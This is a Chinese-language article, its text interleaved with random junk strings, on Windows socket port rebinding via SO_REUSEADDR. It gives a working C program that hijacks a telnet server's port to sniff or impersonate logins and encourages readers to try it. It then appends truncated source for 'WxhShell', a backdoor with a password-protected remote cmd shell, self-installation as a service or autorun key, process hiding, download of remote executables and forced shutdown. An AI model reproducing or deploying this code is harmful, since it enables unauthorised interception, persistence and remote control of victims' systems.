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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: t\!5$P s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +iQ~ Y2Gh (Ia:>ocE0 saddr.sin_family = AF_INET; D62'bFB^ ^YfAsBs& saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7Wiwnv_" B>z^W+Unyn bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Do^yer~ Q&%gpa).W 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }v?l0Gk( \,:7= 这意味着什么?意味着可以进行如下的攻击: t*6C?zEAU KVViTpZ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {4p7r7n' -(}N-yu 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @wP.Rd <8Z%'C6d 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eU-A_5 o$*DFvk 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 |BGzdBm^x: q?L*Luu+ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,c;#~y cRf;7G 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *0'{n*> ;[Esop 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -ucR@P] soKR*gJ, #include 6jl{^dI #include v yP_qG #include *t={9h #include +,D82V7S DWORD WINAPI ClientThread(LPVOID lpParam); +ZBj_Vw*| int main() :X*uE^bH { qrt2uE{K WORD wVersionRequested; )oS~ish DWORD ret; C{ Z*5) WSADATA wsaData; dQ<e}wtg BOOL val; n4ti{-^4|d SOCKADDR_IN saddr; z:{R4#(Q SOCKADDR_IN scaddr; Ww{-(Ktx int err; 2"Y=*s SOCKET s; PKs$Q=Ol<| SOCKET sc; 0upZ4eN int caddsize; uuCVI2| HANDLE mt; 8mX:*$qm: DWORD tid; ^$lsmF]^ wVersionRequested = MAKEWORD( 2, 2 ); <)@^TRS err = WSAStartup( wVersionRequested, &wsaData ); hrOp9|!m if ( err != 0 ) { y|wR)\ printf("error!WSAStartup failed!\n"); |e3YTLsI return -1; H{Na'_sL } :!,.c$M saddr.sin_family = AF_INET; #-d-zV* -%t8a42 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =E8Kacu% jg3['hTJT saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D/WzYc2h] saddr.sin_port = htons(23); Mz6|#P}.s if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7|?Ht] { 061 f printf("error!socket failed!\n"); 'wTJX> return -1; ]JI
A\|b6 } ;!>>C0s" val = TRUE; y? 65*lUl //SO_REUSEADDR选项就是可以实现端口重绑定的 tLx8}@X" if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #kQLHi3## { WJ]g7!Ks printf("error!setsockopt failed!\n"); {|@N~c+ return -1; hM`*-+Zb } HSk}09GV //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Xc]Q_70O //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;V1e>?3 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =TXc- J K+c>Cj}H if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &oiBMk`* { ]5J*UZ} ret=GetLastError(); pJwy~ L printf("error!bind failed!\n"); CB?H`R pC. return -1; ia/_61% } ZbcpE~<a listen(s,2); h'G8@j; while(1) cV)~%e/ { YyR~pT#ffT caddsize = sizeof(scaddr); @BXV>U2B{ //接受连接请求 \t@|-` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V?cUQghHg if(sc!=INVALID_SOCKET)
6@ )bZ| { rk(0w|zR+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); uM~j if(mt==NULL) ]qc2jut" { S-+^L| printf("Thread Creat Failed!\n"); \7,'o] >M- break; x;*KRO } \<A@Nf" } GQ9g $&T CloseHandle(mt); c^8y/wfok } 1e^-_Bo6'o closesocket(s); OC[(Eq WSACleanup(); uJ$!lyJ6L return 0; Au/n|15->C } BK]q^.7+: DWORD WINAPI ClientThread(LPVOID lpParam) mWM!6" { "2bCq]I0 SOCKET ss = (SOCKET)lpParam; ]={{$}8. SOCKET sc; 8~|PZ,oZ unsigned char buf[4096]; dGzZ_Vf SOCKADDR_IN saddr; ^T|~L<A3 long num; ABp/uJI) DWORD val; &6L{1 DWORD ret; A3N<;OOk //如果是隐藏端口应用的话,可以在此处加一些判断 Sc*O_c3D //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 cv["Ps#;`W saddr.sin_family = AF_INET; OsR4oT saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,#r>#fi0 saddr.sin_port = htons(23); [?hc.COE if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9YpD\H` { MLcc printf("error!socket failed!\n"); ZWSYh>" return -1; ;HJ|)PN5L } X@)5F 9 val = 100; T!)v9L if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9_F2nmEv { ``}EbOMG ret = GetLastError(); #^v|u3^DD return -1; i9oi}$;J } ;p#)z/zZ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fG5 U' Vw { B@l/'$G ret = GetLastError(); }cG!93 return -1; u%S&EuX } R1FBH:Iu if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0p_/eWww- { [(Pm\o printf("error!socket connect failed!\n"); ^~2GhveBV closesocket(sc); #|34(ML closesocket(ss); 5/Q^p" return -1; `bffw:;% } n9Z|69W6> while(1) Qd 1Q~PBla { vO"Sy{)Z> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 2hl'mRW //如果是嗅探内容的话,可以再此处进行内容分析和记录 ayuj)]b //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 a="Z]JGk num = recv(ss,buf,4096,0); QdL
;|3K9 if(num>0) DGTSk9iK( send(sc,buf,num,0); keEyE;O}u else if(num==0) m0W5O gk break; /v
E >*x num = recv(sc,buf,4096,0); 37Z:WJ?
if(num>0) DQd~!21\| send(ss,buf,num,0);
'@9h@,tc else if(num==0) UfSWdR) break; 'QjX2ytgX } ]n0kO& closesocket(ss); AS[cz!
> closesocket(sc); 6e$(-ai return 0 ; 2Tt@2h_L } :Q=Jn?Gjb 67Z|=B!7 &+=A;Y) ========================================================== |<P]yn iK1<4) 下边附上一个代码,,WXhSHELL u<./ddC Y!v `0z ========================================================== .OVIQxf *? 7Ie;) #include "stdafx.h" iVzv/Lqm1 MVK=' #include <stdio.h> eXWiTi@ #include <string.h> /NaIMo5 #include <windows.h> =9GL;z:R+ #include <winsock2.h> {e
A4y~k #include <winsvc.h> iV[g.sP- #include <urlmon.h> 2GA6@-u\ &Jv j@,>$d #pragma comment (lib, "Ws2_32.lib") .HF+JHIUu #pragma comment (lib, "urlmon.lib") /i$E |[ ` ZXX[&C #define MAX_USER 100 // 最大客户端连接数 P*XLm #define BUF_SOCK 200 // sock buffer B@` 87 #define KEY_BUFF 255 // 输入 buffer yv^j~ (Sr&Y1D #define REBOOT 0 // 重启 0F6^[osqtl #define SHUTDOWN 1 // 关机 \zw0*;&U G0Smss=K #define DEF_PORT 5000 // 监听端口 DTk)Y-eQ .a1WwI
#define REG_LEN 16 // 注册表键长度 _ro^<V$% #define SVC_LEN 80 // NT服务名长度 _9wX8fh3D g8
,V( ^ // 从dll定义API
mHB*4L typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LX'.up11X5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }BS.OK? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E!&A[TlX\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); s\,F6c A1zM$
wDU // wxhshell配置信息 1w/1k6`0 struct WSCFG { fGHYs int ws_port; // 监听端口 mBSa*s) char ws_passstr[REG_LEN]; // 口令 |g M|> int ws_autoins; // 安装标记, 1=yes 0=no 4=td}% char ws_regname[REG_LEN]; // 注册表键名 I4:4)V? char ws_svcname[REG_LEN]; // 服务名 M.))UKSF char ws_svcdisp[SVC_LEN]; // 服务显示名 `@q[&^ char ws_svcdesc[SVC_LEN]; // 服务描述信息 )1wC].RFYm char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :oYu+cQ int ws_downexe; // 下载执行标记, 1=yes 0=no :2iNw>z1 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 0m7ANqE[Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "i_I<?aGB KSnU;B6w> }; Gf(hN|X. |9T3" _MmJ // default Wxhshell configuration losm< struct WSCFG wscfg={DEF_PORT, DW&%"$2 "xuhuanlingzhe", c""*Ng*T 1, 2K4Jkyi "Wxhshell", Xptb4] "Wxhshell", a|rN %hA4 "WxhShell Service", $#4Qv5} "Wrsky Windows CmdShell Service", g*?)o!_* "Please Input Your Password: ", Qn'Do4Le 1, GTL gj'B " http://www.wrsky.com/wxhshell.exe", "S)2<tV "Wxhshell.exe" V/5.37FSb }; m}&cX Y \^a(B{ // 消息定义模块 |&OW_*l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V}gP'f07zy char *msg_ws_prompt="\n\r? for help\n\r#>"; 7Mq4$|qhD char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; )@+lfIE(l char *msg_ws_ext="\n\rExit."; A/V"&H[ char *msg_ws_end="\n\rQuit."; mOgsO
char *msg_ws_boot="\n\rReboot..."; ^f*}]`S char *msg_ws_poff="\n\rShutdown..."; l3kYfq{";" char *msg_ws_down="\n\rSave to "; C_xOk'091 #yz5CWu char *msg_ws_err="\n\rErr!"; YuufgPE*H char *msg_ws_ok="\n\rOK!"; -(*<2Hy4 o zg%- char ExeFile[MAX_PATH]; W *?mc2;/ int nUser = 0; &D@/_m $ HANDLE handles[MAX_USER]; GZJIIP# int OsIsNt; T,N"8N{K" N6K%Wkz SERVICE_STATUS serviceStatus; :sO^b*e / SERVICE_STATUS_HANDLE hServiceStatusHandle; 5'iJN$7 S%+,:kq // 函数声明 eyq\a'tyB int Install(void); )D_ZZPq_ int Uninstall(void); vwy10PlqL int DownloadFile(char *sURL, SOCKET wsh); ~{69&T}9 int Boot(int flag); 6x18g(KbP void HideProc(void); "p]F q, int GetOsVer(void); "mT95x\NA\ int Wxhshell(SOCKET wsl); r=57,P(:Ca void TalkWithClient(void *cs); Qdepzo>E int CmdShell(SOCKET sock); F.;G6 int StartFromService(void); RSL%< int StartWxhshell(LPSTR lpCmdLine); p1}Y|m! _`RzPIS^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e| AA7 VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8R!3}kx z9> yg_Q // 数据结构和表定义 JtB"Dh SERVICE_TABLE_ENTRY DispatchTable[] = oL?[9aww { nq'vq]] {wscfg.ws_svcname, NTServiceMain}, agQ5%t# {NULL, NULL} [y^)&L$= }; @3D8TPH *7L*:g // 自我安装 iC U[X& int Install(void) XBJ9"G5 { &5*)r@+ char svExeFile[MAX_PATH]; :V)W?~Z7B HKEY key; iz|mJUx strcpy(svExeFile,ExeFile); ,!`94{Ggv e"jA#Y # // 如果是win9x系统,修改注册表设为自启动 "|1MJuY_6 if(!OsIsNt) { c[=%v]j:u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F~Kd5-I@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); , N:'Z RegCloseKey(key); xP@VK!sc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tE)%*z@<Lt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9JF*xXd>Q RegCloseKey(key); x,9fOA return 0; L_+0[A } j/zD`ydj } 3t(8uG<rL } 7f4R5c else { K#"@nVWJ.m T;- Zl[H // 如果是NT以上系统,安装为系统服务 Fa(}:Ug SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y^dVNC3vd if (schSCManager!=0) (xU+Y1*g"% { h;vD"!gP SC_HANDLE schService = CreateService 0F'75 ( I3Sl>e(Z schSCManager, `Tzqvnn wscfg.ws_svcname, c$f|a$$b wscfg.ws_svcdisp, [7Nn%eZC
SERVICE_ALL_ACCESS, inBd.%Yr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , PVO9KWv** SERVICE_AUTO_START, (l22p
SERVICE_ERROR_NORMAL, `w Sg/ svExeFile, =J8)Z'Jr NULL, BfOG e!Si NULL, H+zn:j@~L NULL, $"{V],:T
| NULL, v)JQb-< NULL 3&*0n^g ); )!dELS\ix if (schService!=0) T[))ful { b*Ipg8n+ CloseServiceHandle(schService); Fm}O,= CloseServiceHandle(schSCManager); ^&uWAQohL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k;3P;@3,W strcat(svExeFile,wscfg.ws_svcname); ilK8V4k<T) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;hs:wLVa" RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _}]o~ RegCloseKey(key); PqcuSb6 return 0; {s8''+Q#(- } pb%#`2" } pmCBe6n\l CloseServiceHandle(schSCManager); ^J>28Q\S } SU#
S' } KHr8\qLH {(wV>Oc>Jw return 1; |
7>1) } MbnV5 b:X UO"8 I2rB // 自我卸载 1,PFz int Uninstall(void) S=aXmz< { QBto$!}) HKEY key; `j>qOT ,h/0:?R
KW if(!OsIsNt) { @7lZ{jV$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !^axO RegDeleteValue(key,wscfg.ws_regname); \g4\a?i RegCloseKey(key); k5-mK{RZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^Hq}9OyS9 RegDeleteValue(key,wscfg.ws_regname); Q X@&~ RegCloseKey(key); 2L<TqC{,- return 0; +G/~v`Bv } L&3=5Bf9 } <i`EP/x } /HzhgMV3 else { Y_/Kd7,\~ cjN4U [ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Zl,K# if (schSCManager!=0) 0[3b, { R:.7c(s SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s?Q`#qD if (schService!=0) KktTR`W { zx'`'t4~ if(DeleteService(schService)!=0) { bkOm/8k|4 CloseServiceHandle(schService); }4
$EN CloseServiceHandle(schSCManager); jilO% " return 0; It_yh
#s } >a4Bfnf"eI CloseServiceHandle(schService); jB1\L<P } qw, >~ CloseServiceHandle(schSCManager); 0N
T3 } 4x C0Aw } 'xi.. I(7gmCV return 1; z:fhq:R( } c//W#V2Q lmc-ofEv // 从指定url下载文件 }E1Eq int DownloadFile(char *sURL, SOCKET wsh) AT9SD vJ { 1b!l+ 8! HRESULT hr; blPC"3}3Vd char seps[]= "/"; #&5\1Qu char *token; *{Z!m@?
char *file; '+QgZ>q" char myURL[MAX_PATH]; Z\7bp&& char myFILE[MAX_PATH]; sO6t8)$b PQ(%5c1e strcpy(myURL,sURL); #62ww-E~ token=strtok(myURL,seps); O71rLk; while(token!=NULL) HZ}'W<N { S8cFD):q file=token; P4AdfHk token=strtok(NULL,seps); a$|u!_)!h } e^an` </{ [}Iq-sz;0 GetCurrentDirectory(MAX_PATH,myFILE); F>Oh)VL,Ev strcat(myFILE, "\\"); A&7jE:Ew strcat(myFILE, file); 1&As:kv5I send(wsh,myFILE,strlen(myFILE),0); #P@r[VZ{6 send(wsh,"...",3,0); N~kYT\$b# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 18HHEW{ if(hr==S_OK) fh3
6 return 0; `j$d(+Gv
else c8s/`esA return 1; #lC{R^SL =w8 YZs8w } qprOxP
r ou-;k
} // 系统电源模块 ?C{N0?[P- int Boot(int flag) ?n+\T'f! { Uwk|M?94 HANDLE hToken;
5~F0'tb|} TOKEN_PRIVILEGES tkp; BkeP?X Ye6O!,R if(OsIsNt) { u"T^DrRlQ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `!8Z"xD
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]*h}sn= tkp.PrivilegeCount = 1; 19t*THgq tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }{y$$X<:
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;$Jvqq|T if(flag==REBOOT) { iE`aGoA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jg8P4s return 0; 8IH gsW"; } `ahXn else { VLN3x.BY if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ( -@> return 0; ;p ('cwU% } BxU1Q& } {@%(0d{n} else { xW4+)F5P( if(flag==REBOOT) { 6f!mk:\T. if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,gc#N return 0; ]IV;>94[ } W|e> else { qI^jwl|k if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WV
U9NmvE return 0; vBx^zDe } $H} Mn"G } O;BPd:< >JOvg*a?" return 1; ^nF$<#a } BkfBFUDQ
qS|VUy4 // win9x进程隐藏模块 9A(K_d-!H void HideProc(void) auW]rwY { !ei20@ T}[vfIJD HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ""^BW Re D if ( hKernel != NULL ) {B.]w9 { m!g8@YI pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Uc0'XPo3I ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VBJ]d| FreeLibrary(hKernel); e&4u^'+K } vP?S0>gh :q<%wLs return; J9.p8A^^2 } &X,)+b=
(Nb1R"J` // 获取操作系统版本 pw yl,A int GetOsVer(void) 86F+N_>Z { R7c)C8/~ OSVERSIONINFO winfo; Bqlc+d: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1>y=i+T/b GetVersionEx(&winfo); SkRQFm0a~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }zxh:"#K return 1; G3^]Wwu else t~K!["g return 0; R6mJFE*6T9 } `Kw8rG\]: J4c 4Os>3 // 客户端句柄模块 !BuJC$ int Wxhshell(SOCKET wsl) -L?%
o_ { Atq2pL" SOCKET wsh; *"{Z?< 3 struct sockaddr_in client; PVc|y. DWORD myID; .hNw1~Fj S{7ik,Gdg while(nUser<MAX_USER) Rbc2g"] { ~<[5uZIo int nSize=sizeof(client); u!Nfoq&'u wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i=H>D if(wsh==INVALID_SOCKET) return 1; LEnP"o9ZW ||ZufFO handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); i3&B%JiLX if(handles[nUser]==0) u4M2Ec closesocket(wsh); `Mp7}) else vek:/'sj3p nUser++; aC
Lg~g4 } y&=19A# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'Qq_Xn8 cPaWJ+c return 0; jP.b oj_u* } G$|;~'E o``>sBZOq // 关闭 socket nC.2./OwMf void CloseIt(SOCKET wsh) O0(Q0Ko { bKMR7&e.Ep closesocket(wsh); JrWBcp:Y nUser--; "~2#!bK7 ExitThread(0); agU!D[M_G } CC(*zrOd- <6O_t,K] // 客户端请求句柄 aGk%I void TalkWithClient(void *cs) #!u51P1 { xm,`4WdG VMye5 P SOCKET wsh=(SOCKET)cs; z vb}p char pwd[SVC_LEN]; 46P6Bwobh char cmd[KEY_BUFF]; P9TBQW2G{ char chr[1]; Ao,!z int i,j; 3JZWhxkf[$ C| L^Ds0 while (nUser < MAX_USER) { |~bR.IA 'bI ~61{A if(wscfg.ws_passstr) { -6~y$c&c if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #DK3p0d //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hKZ`DB4 //ZeroMemory(pwd,KEY_BUFF); >AzWM
.r i=0; M |({
4C while(i<SVC_LEN) { %V(N U_o Ph+X{| // 设置超时 =GKS;d#/ fd_set FdRead; z'oiyXEE3 struct timeval TimeOut; 4`U0">gY FD_ZERO(&FdRead); ?cs]#6^ FD_SET(wsh,&FdRead); :IVk_[s TimeOut.tv_sec=8; 8 ih;#I=q TimeOut.tv_usec=0; T4~`e_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EwD3d0udL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); wLOQhviI^- ]KXMGH_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G=Hf&l pwd =chr[0]; y5/'!L)g if(chr[0]==0xd || chr[0]==0xa) { '{0[&i* pwd=0; hY=w|b=Y break; IObx^N_K } UIf ZPf= i++; R>d@tr } 7k]RO 4N~+G ` // 如果是非法用户,关闭 socket %0yS98']g if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Oz&+{ c } 3T|Y} rps(Jos_~ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -Aa]aDAz68 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WgA`kT % Cu.u)/+ while(1) { [6; N3?+
(A29ZH ZeroMemory(cmd,KEY_BUFF); ,{?q^" `l>93A // 自动支持客户端 telnet标准 4L5o\'X j=0; J ;UBnCg while(j<KEY_BUFF) { i s L{9^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u R\m` cmd[j]=chr[0]; 6ORY`Pe7P| if(chr[0]==0xa || chr[0]==0xd) { }xDB ~k cmd[j]=0; }iilzE4oH# break; 2wx!Lpr<i_ } ?fK^&6pI j++; 60GFVF]'2 } JbE?a[Eg? y(bsCsV& // 下载文件 =-$!:W~ if(strstr(cmd,"http://")) { [kbC'Eh* send(wsh,msg_ws_down,strlen(msg_ws_down),0); i`prv& if(DownloadFile(cmd,wsh)) |9>*$Fe" send(wsh,msg_ws_err,strlen(msg_ws_err),0); E:
9o;JU else cYGRy,'gH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J &!B|TS } k$C"xg2 else { C"6Amnj Kb}MF9?:e switch(cmd[0]) { 2~f6~\4GL+ JE0?@PI$ // 帮助 NuU'0_")/ case '?': { Hu[]h] send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,I]7g4~ break; OI+E
(nA } {G]?{c)" // 安装 Bn\l'T case 'i': { >):m-I if(Install()) U\Ct/U&A? send(wsh,msg_ws_err,strlen(msg_ws_err),0); tqK=\{U else )S^z+3p send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wG+=}1X break; 3[VWTq)D= } K<FKu $= // 卸载 E*BSfn&i case 'r': { L?!$EPr if(Uninstall()) Q uB+vL send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yv^p=-E else RU6KIg{H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !2z!8kI break; YgEM:'1f } ! a o6e // 显示 wxhshell 所在路径 be7L="vZw case 'p': { n12UBvc}% char svExeFile[MAX_PATH]; /}=a{J strcpy(svExeFile,"\n\r"); %swR:Bv strcat(svExeFile,ExeFile); i2*d+?Er send(wsh,svExeFile,strlen(svExeFile),0); :j@8L.<U break; iX%[YQ | } Nsn~@.UuSW // 重启 GB>aT-G7q case 'b': { i}B;+0<drx send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9x?B5Ap[ if(Boot(REBOOT)) M'q'$)e send(wsh,msg_ws_err,strlen(msg_ws_err),0); 77*qkKr else { "mOI!xf@a closesocket(wsh); >Q=Ukn;k ExitThread(0); \5~;MI.Sq } `B:"6nW6 break; &Yf",KcL*I } :I
\9YzSs@ // 关机 JB^Q\;$ case 'd': { R"3
M[^ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mibpG9+d if(Boot(SHUTDOWN)) b{M}5~e=B send(wsh,msg_ws_err,strlen(msg_ws_err),0); #f*g]p{ else { vX;HC'%n closesocket(wsh); W8]V ExitThread(0); l}rS{+:wK } ? gSSli[ break; Y % Ieg.o } FRZs[\I|iT // 获取shell Gr: 3{o` case 's': { %WGuy@tL CmdShell(wsh); nWJ:=JQ i" closesocket(wsh); dlD ki. ExitThread(0); zN{JJ3- break; KKEN'-3 } !VP %v&jKm // 退出 a}gkT] case 'x': { v+=k-;- send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X}cZxlqc CloseIt(wsh); G[h(xp?,l break; fP[& a9l } iev>9j // 离开 >MG(qi case 'q': { rNlW7Y send(wsh,msg_ws_end,strlen(msg_ws_end),0); o>?*X(+le closesocket(wsh); W3rl^M=r WSACleanup(); q; jiw#_ exit(1); U#
JIs break; Q@-ovuxi } 'dJ/RJ~ } F$MX,,4U } L]d-33.c!H 7&B$HZ // 提示信息 _S@aGw if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q,%:h`t\ } ymN!-x8q>' } (Yb[)m>fQ} 4!#a3=_ return; Dyg?F
)6 } EU-]sTJLF e]Fp=*# // shell模块句柄 |=dC
)Azs int CmdShell(SOCKET sock) TDt Amk { 0?0Jz STARTUPINFO si; l2jF#<S@ ZeroMemory(&si,sizeof(si)); ArK]0$T si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nBItO~l si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ts$@s^S] PROCESS_INFORMATION ProcessInfo; X"aEJ|y char cmdline[]="cmd"; I+(/TP CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); As&vFt P return 0; s{bdl[7 } 8,"yNq fbvbz3N // 自身启动模式 MV>$BW int StartFromService(void) I=DxRgt { a->3`c typedef struct ?sz)J3 { bM,1 f/^ DWORD ExitStatus; E#wS_[ DWORD PebBaseAddress; "=/ f$Xf DWORD AffinityMask; 9=X)ung9 DWORD BasePriority; 0\9K3 ULONG UniqueProcessId; LwcIGhy ULONG InheritedFromUniqueProcessId; bi4f]^hQz } PROCESS_BASIC_INFORMATION; Q Fm|-j {LHR!~d}5f PROCNTQSIP NtQueryInformationProcess; @%ip7Y]e 7R4z}2F2 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a|7a_s4( static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vQ}6y }~K`/kvs HANDLE hProcess; KJ2Pb"s PROCESS_BASIC_INFORMATION pbi; "XgmuSQ! KnhoaBB HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |*/[`|*G if(NULL == hInst ) return 0; ^O(=Vry %UUH" 